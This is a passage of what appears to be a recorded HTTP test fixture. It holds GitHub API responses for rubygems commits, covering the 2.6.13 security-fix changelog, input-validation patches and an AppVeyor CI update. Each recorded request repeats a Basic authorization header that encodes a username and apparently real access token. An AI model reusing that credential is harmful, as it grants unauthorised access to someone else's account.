max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b1b4aceda8b04ff1c5dff8940915c9dc" Last-Modified: - Mon, 28 Aug 2017 21:18:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038581' X-Github-Request-Id: - C5E6:4D94:4F02B2:B309A5:5A50E47E body: encoding: ASCII-8BIT string: '{"sha":"4921af81167d4ca03d2460f2d1311af6518dda6d","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T21:18:03Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-08-28T21:18:03Z"},"message":"Merge pull request #1995 from rubygems/indirect/security-credits\n\ncredit researchers in security fixes","tree":{"sha":"53ab9c2a6a9df1158b3a6cf77229451646a939d2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/53ab9c2a6a9df1158b3a6cf77229451646a939d2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4921af81167d4ca03d2460f2d1311af6518dda6d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4921af81167d4ca03d2460f2d1311af6518dda6d","html_url":"https://github.com/rubygems/rubygems/commit/4921af81167d4ca03d2460f2d1311af6518dda6d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4921af81167d4ca03d2460f2d1311af6518dda6d/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9103b81c6053daeafc2c74e654daffafa796b8f1","url":"https://api.github.com/repos/rubygems/rubygems/commits/9103b81c6053daeafc2c74e654daffafa796b8f1","html_url":"https://github.com/rubygems/rubygems/commit/9103b81c6053daeafc2c74e654daffafa796b8f1"},{"sha":"2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","html_url":"https://github.com/rubygems/rubygems/commit/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c"}],"stats":{"total":8,"additions":4,"deletions":4},"files":[{"sha":"8ebab301d2e0bc0f8cef40889d5e594c639fbb9c","filename":"History.txt","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/4921af81167d4ca03d2460f2d1311af6518dda6d/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/4921af81167d4ca03d2460f2d1311af6518dda6d/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=4921af81167d4ca03d2460f2d1311af6518dda6d","patch":"@@ -5,14 +5,14 @@\n Security fixes:\n \n * Fix a DNS request hijacking vulnerability.\n- Fix by Samuel Giddins.\n+ Discovered by Jonathan Claudius, fix by Samuel Giddins.\n * Fix an ANSI escape sequence vulnerability.\n- Fix by Evan Phoenix.\n+ Discovered by Yusuke Endoh, fix by Evan Phoenix.\n * Fix a DOS vulernerability in the `query` command.\n- Fix by Samuel Giddins.\n+ Discovered by Yusuke Endoh, fix by Samuel Giddins.\n * Fix a vulnerability in the gem installer that allowed\n a malicious gem to overwrite arbitrary files.\n- Fix by Samuel Giddins.\n+ Discovered by Yusuke Endoh, fix by Samuel Giddins.\n \n === 2.6.12 / 2017-04-30\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:14 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4396' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b2dcd398d32996e065f1938df02a8d5a" Last-Modified: - Mon, 28 Aug 2017 20:30:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044344' X-Github-Request-Id: - C5E8:4D95:F487B5:1C849C6:5A50E47E body: encoding: ASCII-8BIT string: '{"sha":"2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","commit":{"author":{"name":"Andre Arko","email":"andre@arko.net","date":"2017-08-28T20:30:39Z"},"committer":{"name":"Andre Arko","email":"andre@arko.net","date":"2017-08-28T20:30:39Z"},"message":"credit researchers in security fixes","tree":{"sha":"53ab9c2a6a9df1158b3a6cf77229451646a939d2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/53ab9c2a6a9df1158b3a6cf77229451646a939d2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","html_url":"https://github.com/rubygems/rubygems/commit/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c/comments","author":{"login":"indirect","id":78,"avatar_url":"https://avatars1.githubusercontent.com/u/78?v=4","gravatar_id":"","url":"https://api.github.com/users/indirect","html_url":"https://github.com/indirect","followers_url":"https://api.github.com/users/indirect/followers","following_url":"https://api.github.com/users/indirect/following{/other_user}","gists_url":"https://api.github.com/users/indirect/gists{/gist_id}","starred_url":"https://api.github.com/users/indirect/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/indirect/subscriptions","organizations_url":"https://api.github.com/users/indirect/orgs","repos_url":"https://api.github.com/users/indirect/repos","events_url":"https://api.github.com/users/indirect/events{/privacy}","received_events_url":"https://api.github.com/users/indirect/received_events","type":"User","site_admin":false},"committer":{"login":"indirect","id":78,"avatar_url":"https://avatars1.githubusercontent.com/u/78?v=4","gravatar_id":"","url":"https://api.github.com/users/indirect","html_url":"https://github.com/indirect","followers_url":"https://api.github.com/users/indirect/followers","following_url":"https://api.github.com/users/indirect/following{/other_user}","gists_url":"https://api.github.com/users/indirect/gists{/gist_id}","starred_url":"https://api.github.com/users/indirect/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/indirect/subscriptions","organizations_url":"https://api.github.com/users/indirect/orgs","repos_url":"https://api.github.com/users/indirect/repos","events_url":"https://api.github.com/users/indirect/events{/privacy}","received_events_url":"https://api.github.com/users/indirect/received_events","type":"User","site_admin":false},"parents":[{"sha":"9103b81c6053daeafc2c74e654daffafa796b8f1","url":"https://api.github.com/repos/rubygems/rubygems/commits/9103b81c6053daeafc2c74e654daffafa796b8f1","html_url":"https://github.com/rubygems/rubygems/commit/9103b81c6053daeafc2c74e654daffafa796b8f1"}],"stats":{"total":8,"additions":4,"deletions":4},"files":[{"sha":"8ebab301d2e0bc0f8cef40889d5e594c639fbb9c","filename":"History.txt","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/2c706820f9801fa0d9eb8cb9000e3af9e2cff60c/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=2c706820f9801fa0d9eb8cb9000e3af9e2cff60c","patch":"@@ -5,14 +5,14 @@\n Security fixes:\n \n * Fix a DNS request hijacking vulnerability.\n- Fix by Samuel Giddins.\n+ Discovered by Jonathan Claudius, fix by Samuel Giddins.\n * Fix an ANSI escape sequence vulnerability.\n- Fix by Evan Phoenix.\n+ Discovered by Yusuke Endoh, fix by Evan Phoenix.\n * Fix a DOS vulernerability in the `query` command.\n- Fix by Samuel Giddins.\n+ Discovered by Yusuke Endoh, fix by Samuel Giddins.\n * Fix a vulnerability in the gem installer that allowed\n a malicious gem to overwrite arbitrary files.\n- Fix by Samuel Giddins.\n+ Discovered by Yusuke Endoh, fix by Samuel Giddins.\n \n === 2.6.12 / 2017-04-30\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9103b81c6053daeafc2c74e654daffafa796b8f1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:14 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4395' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bc3df2782322aa7a3168a9e1aa04a4bf" Last-Modified: - Mon, 28 Aug 2017 14:29:47 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052573' X-Github-Request-Id: - A31A:4D94:4F02BF:B309C0:5A50E47E body: encoding: ASCII-8BIT string: '{"sha":"9103b81c6053daeafc2c74e654daffafa796b8f1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-28T14:29:47Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-28T14:29:47Z"},"message":"Auto merge of #1994 - MSP-Greg:appveyor, r=segiddins\n\nAppveyor add 2.3, 2.4 & trunk\n\n## Description:\n\n1. Adds Ruby 23-x64 (2.3.3), 24-x64 (2.4.1), and trunk x64 to Appveyor matrix.\n2. Adds GIT env variable to above three versions.\n\nSingle failure in 2.4 & trunk will pass if [PR 1993](https://github.com/rubygems/rubygems/pull/1993) is accepted. Note the drop in skips in the last three jobs, which is due to adding GIT.\n\n## Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"045a1f4723e7d7ccaf87162c89c115fcced62923","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/045a1f4723e7d7ccaf87162c89c115fcced62923"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9103b81c6053daeafc2c74e654daffafa796b8f1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9103b81c6053daeafc2c74e654daffafa796b8f1","html_url":"https://github.com/rubygems/rubygems/commit/9103b81c6053daeafc2c74e654daffafa796b8f1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9103b81c6053daeafc2c74e654daffafa796b8f1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"65788b9add37507c33d4c8d62e3e491d1c2a4487","url":"https://api.github.com/repos/rubygems/rubygems/commits/65788b9add37507c33d4c8d62e3e491d1c2a4487","html_url":"https://github.com/rubygems/rubygems/commit/65788b9add37507c33d4c8d62e3e491d1c2a4487"},{"sha":"8616ad52b05c2019d2031798377fc786718d374a","url":"https://api.github.com/repos/rubygems/rubygems/commits/8616ad52b05c2019d2031798377fc786718d374a","html_url":"https://github.com/rubygems/rubygems/commit/8616ad52b05c2019d2031798377fc786718d374a"}],"stats":{"total":24,"additions":23,"deletions":1},"files":[{"sha":"216a53dca6c18b9e59475fa0a9c4190be0edd758","filename":"appveyor.yml","status":"modified","additions":23,"deletions":1,"changes":24,"blob_url":"https://github.com/rubygems/rubygems/blob/9103b81c6053daeafc2c74e654daffafa796b8f1/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/9103b81c6053daeafc2c74e654daffafa796b8f1/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=9103b81c6053daeafc2c74e654daffafa796b8f1","patch":"@@ -6,7 +6,16 @@ branches:\n - /[\\d.]+/\n skip_tags: true\n clone_depth: 10\n+\n+init:\n+ - mklink /d C:\\git \"C:\\Program Files\\Git\"\n+ - if %ruby_version%==_trunk (\n+ appveyor DownloadFile https://dl.bintray.com/msp-greg/ruby_windows/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n+ 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk & C:\\ruby_trunk\\trunk_install.cmd )\n+\n environment:\n+ PATH: C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;\n+ WINDIR: C:\\Windows\n matrix:\n - ruby_version: 193\n - ruby_version: 200\n@@ -15,6 +24,13 @@ environment:\n - ruby_version: 21-x64\n - ruby_version: 22\n - ruby_version: 22-x64\n+ - ruby_version: 23-x64\n+ GIT: C:/git/cmd/git.exe\n+ - ruby_version: 24-x64\n+ GIT: C:/git/cmd/git.exe\n+ - ruby_version: _trunk\n+ GIT: C:/git/cmd/git.exe\n+\n install:\n - ps: >-\n git submodule update --init --recursive\n@@ -28,6 +44,7 @@ install:\n gem install minitest -v \"~> 4.7\" --no-document\n \n ruby -v\n+\n cache:\n - C:\\Ruby193\\lib\\ruby\\gems\\1.9.1\n - C:\\Ruby200\\lib\\ruby\\gems\\2.0.0\n@@ -36,7 +53,12 @@ cache:\n - C:\\Ruby21-x64\\lib\\ruby\\gems\\2.1.0\n - C:\\Ruby22\\lib\\ruby\\gems\\2.2.0\n - C:\\Ruby22-x64\\lib\\ruby\\gems\\2.2.0\n+- C:\\Ruby23-x64\\lib\\ruby\\gems\\2.3.0\n+- C:\\Ruby24-x64\\lib\\ruby\\gems\\2.4.0\n+\n build: off\n test_script:\n-- cmd: rake -rdevkit test\n+- rake -rdevkit test\n+on_finish:\n+- ruby -v\n deploy: off"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/65788b9add37507c33d4c8d62e3e491d1c2a4487 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:14 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4394' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9440052478592dec9bb1ba4b4167ea68" Last-Modified: - Mon, 28 Aug 2017 02:05:49 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054149' X-Github-Request-Id: - A31C:4D96:971C86:13A45E7:5A50E47E body: encoding: ASCII-8BIT string: '{"sha":"65788b9add37507c33d4c8d62e3e491d1c2a4487","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T02:05:49Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T02:05:49Z"},"message":"Merge tag ''v2.6.13''\n\nTagging v2.6.13.","tree":{"sha":"d8c27b7715d1b5a08b5ceac3241806da8d0de12c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d8c27b7715d1b5a08b5ceac3241806da8d0de12c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/65788b9add37507c33d4c8d62e3e491d1c2a4487","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3qBAAoJEAEZW7MV3ahWkr8P/iJ1es53W2VpDMjlOLXuDDPo\n8hzxx06AVr1PUCA4iU+uBWmHCbJHi4gnQw/ywUzFpIh9UBTzf9phHvTgb139qZNT\nFEmDoJCo7FvaJXwWP5/cB202jK4p/buFrKDO06f/QE4qV7yq78UKhY8T6UOq6yfx\nmNnbDSLcRMmxkrgy7vnQeo1OLXMi0JgnBWIAIGWcvMFiv66LDc5nTlQCZIAvEFR1\nIBO7BVyQB8eNoa8pPgCD46+Z7vLTjx5HvzPaD5s2dwYyfTwFy+ve79nodknfWjTO\niXRItCNv7McmV9tRbcX+pZvU1UVZviaR4lzgCXE36MErVVzXXwLCrv0CAe5Pkqyo\nNE6a5cxqGWIXjhVZhHFBpi8nZNj/Q3utxUbJnzslMj8Hk2LiQJN79bmYN9G+IEzg\nLO07AFDmxdlqcaEHjKhuroIMdwKY59XZ1CoudD6tePbeiSi6U4uOmuEKoZhkLFQj\nwjlPw9E8i8gI0ArxGS6npv/PljedJwAJM0bBi7PjNZMc+/I6bTisB5z05tcrvvhI\n20uDM9qj8SMBItkGG1dI87cA7Qq9BUMiov2vs7XrMCVimobK0+apZTWcLRHd0SMH\nNB5AY40uOt/X3JJ2kXS6cgcf3m6644XGXzqBLaubv6xjfbS53g2hszftFvku6QNY\nc/IqoqJAcO/lMs84ZfnO\n=Yekx\n-----END PGP SIGNATURE-----","payload":"tree d8c27b7715d1b5a08b5ceac3241806da8d0de12c\nparent 90b117e7d650ee68c6ffb73ab1100f0274eaeb19\nparent 6e77ace5dad07d86a38ac271e6a62658ca751105\nauthor Samuel Giddins 1503885949 -0500\ncommitter Samuel Giddins 1503885949 -0500\n\nMerge tag ''v2.6.13''\n\nTagging v2.6.13.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/65788b9add37507c33d4c8d62e3e491d1c2a4487","html_url":"https://github.com/rubygems/rubygems/commit/65788b9add37507c33d4c8d62e3e491d1c2a4487","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/65788b9add37507c33d4c8d62e3e491d1c2a4487/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"90b117e7d650ee68c6ffb73ab1100f0274eaeb19","url":"https://api.github.com/repos/rubygems/rubygems/commits/90b117e7d650ee68c6ffb73ab1100f0274eaeb19","html_url":"https://github.com/rubygems/rubygems/commit/90b117e7d650ee68c6ffb73ab1100f0274eaeb19"},{"sha":"6e77ace5dad07d86a38ac271e6a62658ca751105","url":"https://api.github.com/repos/rubygems/rubygems/commits/6e77ace5dad07d86a38ac271e6a62658ca751105","html_url":"https://github.com/rubygems/rubygems/commit/6e77ace5dad07d86a38ac271e6a62658ca751105"}],"stats":{"total":215,"additions":207,"deletions":8},"files":[{"sha":"0bf3a9751773afd6c6c47e616ba7866987247bd9","filename":"History.txt","status":"modified","additions":14,"deletions":0,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -1,5 +1,19 @@\n # coding: UTF-8\n \n+=== 2.6.13 / 2017-08-27\n+\n+Security fixes:\n+\n+* Fix a DNS request hijacking vulnerability.\n+ Fix by Samuel Giddins.\n+* Fix an ANSI escape sequence vulnerability.\n+ Fix by Evan Phoenix.\n+* Fix a DOS vulernerability in the `query` command.\n+ Fix by Samuel Giddins.\n+* Fix a vulnerability in the gem installer that allowed\n+ a malicious gem to overwrite arbitrary files.\n+ Fix by Samuel Giddins.\n+\n === 2.6.12 / 2017-04-30\n \n Bug fixes:"},{"sha":"78d765d21436fe15d094a2f81ede2fece63fd90f","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.6.12\"\n+ VERSION = \"2.6.13\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"},{"sha":"4624e5a1e917a0288a030e421a3c0f915fbfbd84","filename":"lib/rubygems/commands/query_command.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/commands/query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/commands/query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/query_command.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -226,7 +226,7 @@ def output_versions output, versions\n end\n end\n \n- output << make_entry(matching_tuples, platforms)\n+ output << clean_text(make_entry(matching_tuples, platforms))\n end\n end\n \n@@ -352,7 +352,8 @@ def spec_platforms entry, platforms\n end\n \n def spec_summary entry, spec\n- entry << \"\\n\\n\" << format_text(spec.summary, 68, 4)\n+ summary = truncate_text(spec.summary, \"the summary for #{spec.full_name}\")\n+ entry << \"\\n\\n\" << format_text(summary, 68, 4)\n end\n \n end"},{"sha":"ccc98c0252a45b42a4461e5ce58825565e2297dc","filename":"lib/rubygems/installer.rb","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -702,6 +702,11 @@ def verify_gem_home(unpack = false) # :nodoc:\n unpack or File.writable?(gem_home)\n end\n \n+ def verify_spec_name\n+ return if spec.name =~ Gem::Specification::VALID_NAME_PATTERN\n+ raise Gem::InstallError, \"#{spec} has an invalid name\"\n+ end\n+\n ##\n # Return the text for an application file.\n \n@@ -828,6 +833,8 @@ def pre_install_checks\n \n ensure_loadable_spec\n \n+ 